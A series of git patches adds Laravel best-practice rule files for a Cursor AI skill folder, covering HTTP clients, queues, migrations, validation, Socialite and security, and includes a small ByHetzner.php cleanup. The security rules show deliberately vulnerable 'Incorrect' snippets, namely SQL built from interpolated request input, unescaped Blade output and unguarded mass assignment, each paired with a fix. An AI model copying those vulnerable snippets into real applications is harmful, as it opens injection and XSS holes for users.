+## Use On-Demand Notifications for Non-User Recipients
+
+Avoid creating dummy models to send notifications to arbitrary addresses.
+
+```php
+Notification::route('mail', 'admin@example.com')->notify(new SystemAlert());
+```
+
+## Implement `HasLocalePreference` on Notifiable Models
+
+Laravel automatically uses the user's preferred locale for all notifications and mailables — no per-call `locale()` needed.
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/http-client.md b/.cursor/skills/laravel-best-practices/rules/http-client.md
new file mode 100644
index 000000000..0a7876ed3
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/http-client.md
@@ -0,0 +1,160 @@
+# HTTP Client Best Practices
+
+## Always Set Explicit Timeouts
+
+The default timeout is 30 seconds — too long for most API calls. Always set explicit `timeout` and `connectTimeout` to fail fast.
+
+Incorrect:
+```php
+$response = Http::get('https://api.example.com/users');
+```
+
+Correct:
+```php
+$response = Http::timeout(5)
+ ->connectTimeout(3)
+ ->get('https://api.example.com/users');
+```
+
+For service-specific clients, define timeouts in a macro:
+
+```php
+Http::macro('github', function () {
+ return Http::baseUrl('https://api.github.com')
+ ->timeout(10)
+ ->connectTimeout(3)
+ ->withToken(config('services.github.token'));
+});
+
+$response = Http::github()->get('/repos/laravel/framework');
+```
+
+## Use Retry with Backoff for External APIs
+
+External APIs have transient failures. Use `retry()` with increasing delays.
+
+Incorrect:
+```php
+$response = Http::post('https://api.stripe.com/v1/charges', $data);
+
+if ($response->failed()) {
+ throw new PaymentFailedException('Charge failed');
+}
+```
+
+Correct:
+```php
+$response = Http::retry([100, 500, 1000])
+ ->timeout(10)
+ ->post('https://api.stripe.com/v1/charges', $data);
+```
+
+Only retry on specific errors:
+
+```php
+$response = Http::retry(3, 100, function (Exception $exception, PendingRequest $request) {
+ return $exception instanceof ConnectionException
+ || ($exception instanceof RequestException && $exception->response->serverError());
+})->post('https://api.example.com/data');
+```
+
+## Handle Errors Explicitly
+
+The HTTP Client does not throw on 4xx/5xx by default. Always check status or use `throw()`.
+
+Incorrect:
+```php
+$response = Http::get('https://api.example.com/users/1');
+$user = $response->json(); // Could be an error body
+```
+
+Correct:
+```php
+$response = Http::timeout(5)
+ ->get('https://api.example.com/users/1')
+ ->throw();
+
+$user = $response->json();
+```
+
+For graceful degradation:
+
+```php
+$response = Http::get('https://api.example.com/users/1');
+
+if ($response->successful()) {
+ return $response->json();
+}
+
+if ($response->notFound()) {
+ return null;
+}
+
+$response->throw();
+```
+
+## Use Request Pooling for Concurrent Requests
+
+When making multiple independent API calls, use `Http::pool()` instead of sequential calls.
+
+Incorrect:
+```php
+$users = Http::get('https://api.example.com/users')->json();
+$posts = Http::get('https://api.example.com/posts')->json();
+$comments = Http::get('https://api.example.com/comments')->json();
+```
+
+Correct:
+```php
+use Illuminate\Http\Client\Pool;
+
+$responses = Http::pool(fn (Pool $pool) => [
+ $pool->as('users')->get('https://api.example.com/users'),
+ $pool->as('posts')->get('https://api.example.com/posts'),
+ $pool->as('comments')->get('https://api.example.com/comments'),
+]);
+
+$users = $responses['users']->json();
+$posts = $responses['posts']->json();
+```
+
+## Fake HTTP Calls in Tests
+
+Never make real HTTP requests in tests. Use `Http::fake()` and `preventStrayRequests()`.
+
+Incorrect:
+```php
+it('syncs user from API', function () {
+ $service = new UserSyncService;
+ $service->sync(1); // Hits the real API
+});
+```
+
+Correct:
+```php
+it('syncs user from API', function () {
+ Http::preventStrayRequests();
+
+ Http::fake([
+ 'api.example.com/users/1' => Http::response([
+ 'name' => 'John Doe',
+ 'email' => 'john@example.com',
+ ]),
+ ]);
+
+ $service = new UserSyncService;
+ $service->sync(1);
+
+ Http::assertSent(function (Request $request) {
+ return $request->url() === 'https://api.example.com/users/1';
+ });
+});
+```
+
+Test failure scenarios too:
+
+```php
+Http::fake([
+ 'api.example.com/*' => Http::failedConnection(),
+]);
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/mail.md b/.cursor/skills/laravel-best-practices/rules/mail.md
new file mode 100644
index 000000000..c7f67966e
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/mail.md
@@ -0,0 +1,27 @@
+# Mail Best Practices
+
+## Implement `ShouldQueue` on the Mailable Class
+
+Makes queueing the default regardless of how the mailable is dispatched. No need to remember `Mail::queue()` at every call site — `Mail::send()` also queues it.
+
+## Use `afterCommit()` on Mailables Inside Transactions
+
+A queued mailable dispatched inside a transaction may process before the commit. Use `$this->afterCommit()` in the constructor.
+
+## Use `assertQueued()` Not `assertSent()` for Queued Mailables
+
+`Mail::assertSent()` only catches synchronous mail. Queued mailables silently pass `assertSent`, giving false confidence.
+
+Incorrect: `Mail::assertSent(OrderShipped::class);` when mailable implements `ShouldQueue`.
+
+Correct: `Mail::assertQueued(OrderShipped::class);`
+
+## Use Markdown Mailables for Transactional Emails
+
+Markdown mailables auto-generate both HTML and plain-text versions, use responsive components, and allow global style customization. Generate with `--markdown` flag.
+
+## Separate Content Tests from Sending Tests
+
+Content tests: instantiate the mailable directly, call `assertSeeInHtml()`.
+Sending tests: use `Mail::fake()` and `assertSent()`/`assertQueued()`.
+Don't mix them — it conflates concerns and makes tests brittle.
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/migrations.md b/.cursor/skills/laravel-best-practices/rules/migrations.md
new file mode 100644
index 000000000..de25aa39c
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/migrations.md
@@ -0,0 +1,121 @@
+# Migration Best Practices
+
+## Generate Migrations with Artisan
+
+Always use `php artisan make:migration` for consistent naming and timestamps.
+
+Incorrect (manually created file):
+```php
+// database/migrations/posts_migration.php ← wrong naming, no timestamp
+```
+
+Correct (Artisan-generated):
+```bash
+php artisan make:migration create_posts_table
+php artisan make:migration add_slug_to_posts_table
+```
+
+## Use `constrained()` for Foreign Keys
+
+Automatic naming and referential integrity.
+
+```php
+$table->foreignId('user_id')->constrained()->cascadeOnDelete();
+
+// Non-standard names
+$table->foreignId('author_id')->constrained('users');
+```
+
+## Never Modify Deployed Migrations
+
+Once a migration has run in production, treat it as immutable. Create a new migration to change the table.
+
+Incorrect (editing a deployed migration):
+```php
+// 2024_01_01_create_posts_table.php — already in production
+$table->string('slug')->unique(); // ← added after deployment
+```
+
+Correct (new migration to alter):
+```php
+// 2024_03_15_add_slug_to_posts_table.php
+Schema::table('posts', function (Blueprint $table) {
+ $table->string('slug')->unique()->after('title');
+});
+```
+
+## Add Indexes in the Migration
+
+Add indexes when creating the table, not as an afterthought. Columns used in `WHERE`, `ORDER BY`, and `JOIN` clauses need indexes.
+
+Incorrect:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained();
+ $table->string('status');
+ $table->timestamps();
+});
+```
+
+Correct:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained()->index();
+ $table->string('status')->index();
+ $table->timestamp('shipped_at')->nullable()->index();
+ $table->timestamps();
+});
+```
+
+## Mirror Defaults in Model `$attributes`
+
+When a column has a database default, mirror it in the model so new instances have correct values before saving.
+
+```php
+// Migration
+$table->string('status')->default('pending');
+
+// Model
+protected $attributes = [
+ 'status' => 'pending',
+];
+```
+
+## Write Reversible `down()` Methods by Default
+
+Implement `down()` for schema changes that can be safely reversed so `migrate:rollback` works in CI and failed deployments.
+
+```php
+public function down(): void
+{
+ Schema::table('posts', function (Blueprint $table) {
+ $table->dropColumn('slug');
+ });
+}
+```
+
+For intentionally irreversible migrations (e.g., destructive data backfills), leave a clear comment and require a forward fix migration instead of pretending rollback is supported.
+
+## Keep Migrations Focused
+
+One concern per migration. Never mix DDL (schema changes) and DML (data manipulation).
+
+Incorrect (partial failure creates unrecoverable state):
+```php
+public function up(): void
+{
+ Schema::create('settings', function (Blueprint $table) { ... });
+ DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']);
+}
+```
+
+Correct (separate migrations):
+```php
+// Migration 1: create_settings_table
+Schema::create('settings', function (Blueprint $table) { ... });
+
+// Migration 2: seed_default_settings
+DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']);
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/queue-jobs.md b/.cursor/skills/laravel-best-practices/rules/queue-jobs.md
new file mode 100644
index 000000000..d4575aac0
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/queue-jobs.md
@@ -0,0 +1,146 @@
+# Queue & Job Best Practices
+
+## Set `retry_after` Greater Than `timeout`
+
+If `retry_after` is shorter than the job's `timeout`, the queue worker re-dispatches the job while it's still running, causing duplicate execution.
+
+Incorrect (`retry_after` ≤ `timeout`):
+```php
+class ProcessReport implements ShouldQueue
+{
+ public $timeout = 120;
+}
+
+// config/queue.php — retry_after: 90 ← job retried while still running!
+```
+
+Correct (`retry_after` > `timeout`):
+```php
+class ProcessReport implements ShouldQueue
+{
+ public $timeout = 120;
+}
+
+// config/queue.php — retry_after: 180 ← safely longer than any job timeout
+```
+
+## Use Exponential Backoff
+
+Use progressively longer delays between retries to avoid hammering failing services.
+
+Incorrect (fixed retry interval):
+```php
+class SyncWithStripe implements ShouldQueue
+{
+ public $tries = 3;
+ // Default: retries immediately, overwhelming the API
+}
+```
+
+Correct (exponential backoff):
+```php
+class SyncWithStripe implements ShouldQueue
+{
+ public $tries = 3;
+ public $backoff = [1, 5, 10];
+}
+```
+
+## Implement `ShouldBeUnique`
+
+Prevent duplicate job processing.
+
+```php
+class GenerateInvoice implements ShouldQueue, ShouldBeUnique
+{
+ public function uniqueId(): string
+ {
+ return $this->order->id;
+ }
+
+ public $uniqueFor = 3600;
+}
+```
+
+## Always Implement `failed()`
+
+Handle errors explicitly — don't rely on silent failure.
+
+```php
+public function failed(?Throwable $exception): void
+{
+ $this->podcast->update(['status' => 'failed']);
+ Log::error('Processing failed', ['id' => $this->podcast->id, 'error' => $exception->getMessage()]);
+}
+```
+
+## Rate Limit External API Calls in Jobs
+
+Use `RateLimited` middleware to throttle jobs calling third-party APIs.
+
+```php
+public function middleware(): array
+{
+ return [new RateLimited('external-api')];
+}
+```
+
+## Batch Related Jobs
+
+Use `Bus::batch()` when jobs should succeed or fail together.
+
+```php
+Bus::batch([
+ new ImportCsvChunk($chunk1),
+ new ImportCsvChunk($chunk2),
+])
+->then(fn (Batch $batch) => Notification::send($user, new ImportComplete))
+->catch(fn (Batch $batch, Throwable $e) => Log::error('Batch failed'))
+->dispatch();
+```
+
+## `retryUntil()` Needs `$tries = 0`
+
+When using time-based retry limits, set `$tries = 0` to avoid premature failure.
+
+```php
+public $tries = 0;
+
+public function retryUntil(): DateTime
+{
+ return now()->addHours(4);
+}
+```
+
+## Use `WithoutOverlapping::untilProcessing()`
+
+Prevents concurrent execution while allowing new instances to queue.
+
+```php
+public function middleware(): array
+{
+ return [new WithoutOverlapping($this->product->id)->untilProcessing()];
+}
+```
+
+Without `untilProcessing()`, the lock extends through queue wait time. With it, the lock releases when processing starts.
+
+## Use Horizon for Complex Queue Scenarios
+
+Use Laravel Horizon when you need monitoring, auto-scaling, failure tracking, or multiple queues with different priorities.
+
+```php
+// config/horizon.php
+'environments' => [
+ 'production' => [
+ 'supervisor-1' => [
+ 'connection' => 'redis',
+ 'queue' => ['high', 'default', 'low'],
+ 'balance' => 'auto',
+ 'minProcesses' => 1,
+ 'maxProcesses' => 10,
+ 'tries' => 3,
+ ],
+ ],
+],
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/routing.md b/.cursor/skills/laravel-best-practices/rules/routing.md
new file mode 100644
index 000000000..e288375d7
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/routing.md
@@ -0,0 +1,98 @@
+# Routing & Controllers Best Practices
+
+## Use Implicit Route Model Binding
+
+Let Laravel resolve models automatically from route parameters.
+
+Incorrect:
+```php
+public function show(int $id)
+{
+ $post = Post::findOrFail($id);
+}
+```
+
+Correct:
+```php
+public function show(Post $post)
+{
+ return view('posts.show', ['post' => $post]);
+}
+```
+
+## Use Scoped Bindings for Nested Resources
+
+Enforce parent-child relationships automatically.
+
+```php
+Route::get('/users/{user}/posts/{post}', function (User $user, Post $post) {
+ // $post is automatically scoped to $user
+})->scopeBindings();
+```
+
+## Use Resource Controllers
+
+Use `Route::resource()` or `apiResource()` for RESTful endpoints.
+
+```php
+Route::resource('posts', PostController::class);
+Route::apiResource('api/posts', Api\PostController::class);
+```
+
+## Keep Controllers Thin
+
+Aim for under 10 lines per method. Extract business logic to action or service classes.
+
+Incorrect:
+```php
+public function store(Request $request)
+{
+ $validated = $request->validate([...]);
+ if ($request->hasFile('image')) {
+ $request->file('image')->move(public_path('images'));
+ }
+ $post = Post::create($validated);
+ $post->tags()->sync($validated['tags']);
+ event(new PostCreated($post));
+ return redirect()->route('posts.show', $post);
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request, CreatePostAction $create)
+{
+ $post = $create->execute($request->validated());
+
+ return redirect()->route('posts.show', $post);
+}
+```
+
+## Type-Hint Form Requests
+
+Type-hinting Form Requests triggers automatic validation and authorization before the method executes.
+
+Incorrect:
+```php
+public function store(Request $request): RedirectResponse
+{
+ $validated = $request->validate([
+ 'title' => ['required', 'max:255'],
+ 'body' => ['required'],
+ ]);
+
+ Post::create($validated);
+
+ return redirect()->route('posts.index');
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request): RedirectResponse
+{
+ Post::create($request->validated());
+
+ return redirect()->route('posts.index');
+}
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/scheduling.md b/.cursor/skills/laravel-best-practices/rules/scheduling.md
new file mode 100644
index 000000000..dfaefa26f
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/scheduling.md
@@ -0,0 +1,39 @@
+# Task Scheduling Best Practices
+
+## Use `withoutOverlapping()` on Variable-Duration Tasks
+
+Without it, a long-running task spawns a second instance on the next tick, causing double-processing or resource exhaustion.
+
+## Use `onOneServer()` on Multi-Server Deployments
+
+Without it, every server runs the same task simultaneously. Requires a shared cache driver (Redis, database, Memcached).
+
+## Use `runInBackground()` for Concurrent Long Tasks
+
+By default, tasks at the same tick run sequentially. A slow first task delays all subsequent ones. `runInBackground()` runs them as separate processes.
+
+## Use `environments()` to Restrict Tasks
+
+Prevent accidental execution of production-only tasks (billing, reporting) on staging.
+
+```php
+Schedule::command('billing:charge')->monthly()->environments(['production']);
+```
+
+## Use `takeUntilTimeout()` for Time-Bounded Processing
+
+A task running every 15 minutes that processes an unbounded cursor can overlap with the next run. Bound execution time.
+
+## Use Schedule Groups for Shared Configuration
+
+Avoid repeating `->onOneServer()->timezone('America/New_York')` across many tasks.
+
+```php
+Schedule::daily()
+ ->onOneServer()
+ ->timezone('America/New_York')
+ ->group(function () {
+ Schedule::command('emails:send --force');
+ Schedule::command('emails:prune');
+ });
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/security.md b/.cursor/skills/laravel-best-practices/rules/security.md
new file mode 100644
index 000000000..524d47e61
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/security.md
@@ -0,0 +1,198 @@
+# Security Best Practices
+
+## Mass Assignment Protection
+
+Every model must define `$fillable` (whitelist) or `$guarded` (blacklist).
+
+Incorrect:
+```php
+class User extends Model
+{
+ protected $guarded = []; // All fields are mass assignable
+}
+```
+
+Correct:
+```php
+class User extends Model
+{
+ protected $fillable = [
+ 'name',
+ 'email',
+ 'password',
+ ];
+}
+```
+
+Never use `$guarded = []` on models that accept user input.
+
+## Authorize Every Action
+
+Use policies or gates in controllers. Never skip authorization.
+
+Incorrect:
+```php
+public function update(Request $request, Post $post)
+{
+ $post->update($request->validated());
+}
+```
+
+Correct:
+```php
+public function update(UpdatePostRequest $request, Post $post)
+{
+ Gate::authorize('update', $post);
+
+ $post->update($request->validated());
+}
+```
+
+Or via Form Request:
+
+```php
+public function authorize(): bool
+{
+ return $this->user()->can('update', $this->route('post'));
+}
+```
+
+## Prevent SQL Injection
+
+Always use parameter binding. Never interpolate user input into queries.
+
+Incorrect:
+```php
+DB::select("SELECT * FROM users WHERE name = '{$request->name}'");
+```
+
+Correct:
+```php
+User::where('name', $request->name)->get();
+
+// Raw expressions with bindings
+User::whereRaw('LOWER(name) = ?', [strtolower($request->name)])->get();
+```
+
+## Escape Output to Prevent XSS
+
+Use `{{ }}` for HTML escaping. Only use `{!! !!}` for trusted, pre-sanitized content.
+
+Incorrect:
+```blade
+{!! $user->bio !!}
+```
+
+Correct:
+```blade
+{{ $user->bio }}
+```
+
+## CSRF Protection
+
+Include `@csrf` in all POST/PUT/DELETE Blade forms. Not needed in Inertia.
+
+Incorrect:
+```blade
+
+```
+
+Correct:
+```blade
+
+```
+
+## Rate Limit Auth and API Routes
+
+Apply `throttle` middleware to authentication and API routes.
+
+```php
+RateLimiter::for('login', function (Request $request) {
+ return Limit::perMinute(5)->by($request->ip());
+});
+
+Route::post('/login', LoginController::class)->middleware('throttle:login');
+```
+
+## Validate File Uploads
+
+Validate MIME type, extension, and size. Never trust client-provided filenames.
+
+```php
+public function rules(): array
+{
+ return [
+ 'avatar' => ['required', 'image', 'mimes:jpg,jpeg,png,webp', 'max:2048'],
+ ];
+}
+```
+
+Store with generated filenames:
+
+```php
+$path = $request->file('avatar')->store('avatars', 'public');
+```
+
+## Keep Secrets Out of Code
+
+Never commit `.env`. Access secrets via `config()` only.
+
+Incorrect:
+```php
+$key = env('API_KEY');
+```
+
+Correct:
+```php
+// config/services.php
+'api_key' => env('API_KEY'),
+
+// In application code
+$key = config('services.api_key');
+```
+
+## Audit Dependencies
+
+Run `composer audit` periodically to check for known vulnerabilities in dependencies. Automate this in CI to catch issues before deployment.
+
+```bash
+composer audit
+```
+
+## Encrypt Sensitive Database Fields
+
+Use `encrypted` cast for API keys/tokens and mark the attribute as `hidden`.
+
+Incorrect:
+```php
+class Integration extends Model
+{
+ protected function casts(): array
+ {
+ return [
+ 'api_key' => 'string',
+ ];
+ }
+}
+```
+
+Correct:
+```php
+class Integration extends Model
+{
+ protected $hidden = ['api_key', 'api_secret'];
+
+ protected function casts(): array
+ {
+ return [
+ 'api_key' => 'encrypted',
+ 'api_secret' => 'encrypted',
+ ];
+ }
+}
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/style.md b/.cursor/skills/laravel-best-practices/rules/style.md
new file mode 100644
index 0000000000000000000000000000000000000000..db689bf774d1763ac3ec520a3874015f5421ff5b
GIT binary patch
literal 4443
zcmb7H|8g6*5$@mj6gxJXBU_TPGV!!SM{H%Ls*_r-YD&%@j)w&AKoK^0I0HCRY@C@s
zM4zxv(rqc3Rg4_YS46<&Z-l2$9V!-oHYUfv=K_C|PowZt|LcB75;$1eTUe78Vh&a+E%-f!B^_a3OyuOh!1j+3CF~xh&C6Q
z*=`XQmT8HzBMo|P)XsSFwYJu8q05a}Nq8>Un^s}fxWXTc+D!ClW^}bJz?`D4gwP={HL5A^SnD#A?)(C5LRZ
zR@zG|^YKcHT#n048H9Q7>X){{QHr&?hq_KiVE^8jd(B0!WswWps*3d4DH&@1R8(75
z(o_>v@X2ovWz1l+2v>~J<^>HjOLin4++uISp>Q7sc=
zww6}<$`&|bt}L=XnXE+ip&z}g_gV`3HWN5EPEweC&DDJI?qyj{CR+efKb>jeTy0sD
zWtYI5qv?KwV!+7*dZa^2FYxC)TK@TN*ocD0=F&btK-5a%Wxf!e#ktaJd!wnwhV#M0
z|0*OpGDbs1S7xm&uSe55UhMTw=n7u9VGYd&_0x8mxwqVDzMxBM#erT(T>>Yi70@@Er6gkS%swHiLEM*)?2zc&R!b$)u{^0DPCWn-5getf^
zqwL-7)#&%+#9FdML00VP=EV)It0I7c8`GuUi-V&wR=MBE?KnxIkV45w0(RotSq(2
z5JBRcjqs-zn!;f43?h8rSf*Nmx8L*f!4K&P%HqkB0gWjgkH;zaLPU;y;I-Mt_EVJK
z5225`U*USQfgjQV7uBs9|qK
z8N(d$vlHhUP>F9>t{hc!
zpk(1NTthYH##aU%kYRXf1Z5TJ#a|1EE=6q<>`nN5$zBCL1$xV1li$&!Wm{EWjJgF+mOY
z2m}FlAue$xtpY2C90Ue9gpB9NU51F{eEN|$BM6k3O;JN_tnZ3KW*Cu$J)pVA7jKfx
zaAd+LQR$pk$3cm3G=+DZ*%xEtGUz;w>gE-uon7-1V<>b8zw_u7Tofqy@TeZsE$W5A
zjUuG+Q%gDQht~?1jCf*ZqtdaFudezoDD5U(J5b>JS*l%5P?3c6WmL#(LhH_DBsfbQ>Dd4CXi
F{|%Ge#T5Vm
literal 0
HcmV?d00001
diff --git a/.cursor/skills/laravel-best-practices/rules/testing.md b/.cursor/skills/laravel-best-practices/rules/testing.md
new file mode 100644
index 000000000..d39cc3ed0
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/testing.md
@@ -0,0 +1,43 @@
+# Testing Best Practices
+
+## Use `LazilyRefreshDatabase` Over `RefreshDatabase`
+
+`RefreshDatabase` runs all migrations every test run even when the schema hasn't changed. `LazilyRefreshDatabase` only migrates when needed, significantly speeding up large suites.
+
+## Use Model Assertions Over Raw Database Assertions
+
+Incorrect: `$this->assertDatabaseHas('users', ['id' => $user->id]);`
+
+Correct: `$this->assertModelExists($user);`
+
+More expressive, type-safe, and fails with clearer messages.
+
+## Use Factory States and Sequences
+
+Named states make tests self-documenting. Sequences eliminate repetitive setup.
+
+Incorrect: `User::factory()->create(['email_verified_at' => null]);`
+
+Correct: `User::factory()->unverified()->create();`
+
+## Use `Exceptions::fake()` to Assert Exception Reporting
+
+Instead of `withoutExceptionHandling()`, use `Exceptions::fake()` to assert the correct exception was reported while the request completes normally.
+
+## Call `Event::fake()` After Factory Setup
+
+Model factories rely on model events (e.g., `creating` to generate UUIDs). Calling `Event::fake()` before factory calls silences those events, producing broken models.
+
+Incorrect: `Event::fake(); $user = User::factory()->create();`
+
+Correct: `$user = User::factory()->create(); Event::fake();`
+
+## Use `recycle()` to Share Relationship Instances Across Factories
+
+Without `recycle()`, nested factories create separate instances of the same conceptual entity.
+
+```php
+Ticket::factory()
+ ->recycle(Airline::factory()->create())
+ ->create();
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/validation.md b/.cursor/skills/laravel-best-practices/rules/validation.md
new file mode 100644
index 000000000..a20202ff1
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/validation.md
@@ -0,0 +1,75 @@
+# Validation & Forms Best Practices
+
+## Use Form Request Classes
+
+Extract validation from controllers into dedicated Form Request classes.
+
+Incorrect:
+```php
+public function store(Request $request)
+{
+ $request->validate([
+ 'title' => 'required|max:255',
+ 'body' => 'required',
+ ]);
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request)
+{
+ Post::create($request->validated());
+}
+```
+
+## Array vs. String Notation for Rules
+
+Array syntax is more readable and composes cleanly with `Rule::` objects. Prefer it in new code, but check existing Form Requests first and match whatever notation the project already uses.
+
+```php
+// Preferred for new code
+'email' => ['required', 'email', Rule::unique('users')],
+
+// Follow existing convention if the project uses string notation
+'email' => 'required|email|unique:users',
+```
+
+## Always Use `validated()`
+
+Get only validated data. Never use `$request->all()` for mass operations.
+
+Incorrect:
+```php
+Post::create($request->all());
+```
+
+Correct:
+```php
+Post::create($request->validated());
+```
+
+## Use `Rule::when()` for Conditional Validation
+
+```php
+'company_name' => [
+ Rule::when($this->account_type === 'business', ['required', 'string', 'max:255']),
+],
+```
+
+## Use the `after()` Method for Custom Validation
+
+Use `after()` instead of `withValidator()` for custom validation logic that depends on multiple fields.
+
+```php
+public function after(): array
+{
+ return [
+ function (Validator $validator) {
+ if ($this->quantity > Product::find($this->product_id)?->stock) {
+ $validator->errors()->add('quantity', 'Not enough stock.');
+ }
+ },
+ ];
+}
+```
\ No newline at end of file
diff --git a/.cursor/skills/socialite-development/SKILL.md b/.cursor/skills/socialite-development/SKILL.md
new file mode 100644
index 000000000..e660da691
--- /dev/null
+++ b/.cursor/skills/socialite-development/SKILL.md
@@ -0,0 +1,80 @@
+---
+name: socialite-development
+description: "Manages OAuth social authentication with Laravel Socialite. Activate when adding social login providers; configuring OAuth redirect/callback flows; retrieving authenticated user details; customizing scopes or parameters; setting up community providers; testing with Socialite fakes; or when the user mentions social login, OAuth, Socialite, or third-party authentication."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Socialite Authentication
+
+## Documentation
+
+Use `search-docs` for detailed Socialite patterns and documentation (installation, configuration, routing, callbacks, testing, scopes, stateless auth).
+
+## Available Providers
+
+Built-in: `facebook`, `twitter`, `twitter-oauth-2`, `linkedin`, `linkedin-openid`, `google`, `github`, `gitlab`, `bitbucket`, `slack`, `slack-openid`, `twitch`
+
+Community: 150+ additional providers at [socialiteproviders.com](https://socialiteproviders.com). For provider-specific setup, use `WebFetch` on `https://socialiteproviders.com/{provider-name}`.
+
+Configuration key in `config/services.php` must match the driver name exactly — note the hyphenated keys: `twitter-oauth-2`, `linkedin-openid`, `slack-openid`.
+
+Twitter/X: Use `twitter-oauth-2` (OAuth 2.0) for new projects. The legacy `twitter` driver is OAuth 1.0. Driver names remain unchanged despite the platform rebrand.
+
+Community providers differ from built-in providers in the following ways:
+- Installed via `composer require socialiteproviders/{name}`
+- Must register via event listener — NOT auto-discovered like built-in providers
+- Use `search-docs` for the registration pattern
+
+## Adding a Provider
+
+### 1. Configure the provider
+
+Add the provider's `client_id`, `client_secret`, and `redirect` to `config/services.php`. The config key must match the driver name exactly.
+
+### 2. Create redirect and callback routes
+
+Two routes are needed: one that calls `Socialite::driver('provider')->redirect()` to send the user to the OAuth provider, and one that calls `Socialite::driver('provider')->user()` to receive the callback and retrieve user details.
+
+### 3. Authenticate and store the user
+
+In the callback, use `updateOrCreate` to find or create a user record from the provider's response (`id`, `name`, `email`, `token`, `refreshToken`), then call `Auth::login()`.
+
+### 4. Customize the redirect (optional)
+
+- `scopes()` — merge additional scopes with the provider's defaults
+- `setScopes()` — replace all scopes entirely
+- `with()` — pass optional parameters (e.g., `['hd' => 'example.com']` for Google)
+- `asBotUser()` — Slack only; generates a bot token (`xoxb-`) instead of a user token (`xoxp-`). Must be called before both `redirect()` and `user()`. Only the `token` property will be hydrated on the user object.
+- `stateless()` — for API/SPA contexts where session state is not maintained
+
+### 5. Verify
+
+1. Config key matches driver name exactly (check the list above for hyphenated names)
+2. `client_id`, `client_secret`, and `redirect` are all present
+3. Redirect URL matches what is registered in the provider's OAuth dashboard
+4. Callback route handles denied grants (when user declines authorization)
+
+Use `search-docs` for complete code examples of each step.
+
+## Additional Features
+
+Use `search-docs` for usage details on: `enablePKCE()`, `userFromToken($token)`, `userFromTokenAndSecret($token, $secret)` (OAuth 1.0), retrieving user details.
+
+User object: `getId()`, `getName()`, `getEmail()`, `getAvatar()`, `getNickname()`, `token`, `refreshToken`, `expiresIn`, `approvedScopes`
+
+## Testing
+
+Socialite provides `Socialite::fake()` for testing redirects and callbacks. Use `search-docs` for faking redirects, callback user data, custom token properties, and assertion methods.
+
+## Common Pitfalls
+
+- Config key must match driver name exactly — hyphenated drivers need hyphenated keys (`linkedin-openid`, `slack-openid`, `twitter-oauth-2`). Mismatch silently fails.
+- Every provider needs `client_id`, `client_secret`, and `redirect` in `config/services.php`. Missing any one causes cryptic errors.
+- `scopes()` merges with defaults; `setScopes()` replaces all scopes entirely.
+- Missing `stateless()` in API/SPA contexts causes `InvalidStateException`.
+- Redirect URL in `config/services.php` must exactly match the provider's OAuth dashboard (including trailing slashes and protocol).
+- Do not pass `state`, `response_type`, `client_id`, `redirect_uri`, or `scope` via `with()` — these are reserved.
+- Community providers require event listener registration via `SocialiteWasCalled`.
+- `user()` throws when the user declines authorization. Always handle denied grants.
\ No newline at end of file
From f0c8ff6a77fca8dbda24ebf1ec63f7c2e3426ee5 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 19:26:13 +0100
Subject: [PATCH 041/118] Update ByHetzner.php
---
app/Livewire/Server/New/ByHetzner.php | 46 ++-------------------------
1 file changed, 3 insertions(+), 43 deletions(-)
diff --git a/app/Livewire/Server/New/ByHetzner.php b/app/Livewire/Server/New/ByHetzner.php
index f1ffa60f2..4c6f31b0c 100644
--- a/app/Livewire/Server/New/ByHetzner.php
+++ b/app/Livewire/Server/New/ByHetzner.php
@@ -8,6 +8,7 @@
use App\Models\PrivateKey;
use App\Models\Server;
use App\Models\Team;
+use App\Rules\ValidCloudInitYaml;
use App\Rules\ValidHostname;
use App\Services\HetznerService;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
@@ -161,7 +162,7 @@ protected function rules(): array
'selectedHetznerSshKeyIds.*' => 'integer',
'enable_ipv4' => 'required|boolean',
'enable_ipv6' => 'required|boolean',
- 'cloud_init_script' => ['nullable', 'string', new \App\Rules\ValidCloudInitYaml],
+ 'cloud_init_script' => ['nullable', 'string', new ValidCloudInitYaml],
'save_cloud_init_script' => 'boolean',
'cloud_init_script_name' => 'nullable|string|max:255',
'selected_cloud_init_script_id' => 'nullable|integer|exists:cloud_init_scripts,id',
@@ -295,11 +296,6 @@ private function getCpuVendorInfo(array $serverType): ?string
public function getAvailableServerTypesProperty()
{
- ray('Getting available server types', [
- 'selected_location' => $this->selected_location,
- 'total_server_types' => count($this->serverTypes),
- ]);
-
if (! $this->selected_location) {
return $this->serverTypes;
}
@@ -322,21 +318,11 @@ public function getAvailableServerTypesProperty()
->values()
->toArray();
- ray('Filtered server types', [
- 'selected_location' => $this->selected_location,
- 'filtered_count' => count($filtered),
- ]);
-
return $filtered;
}
public function getAvailableImagesProperty()
{
- ray('Getting available images', [
- 'selected_server_type' => $this->selected_server_type,
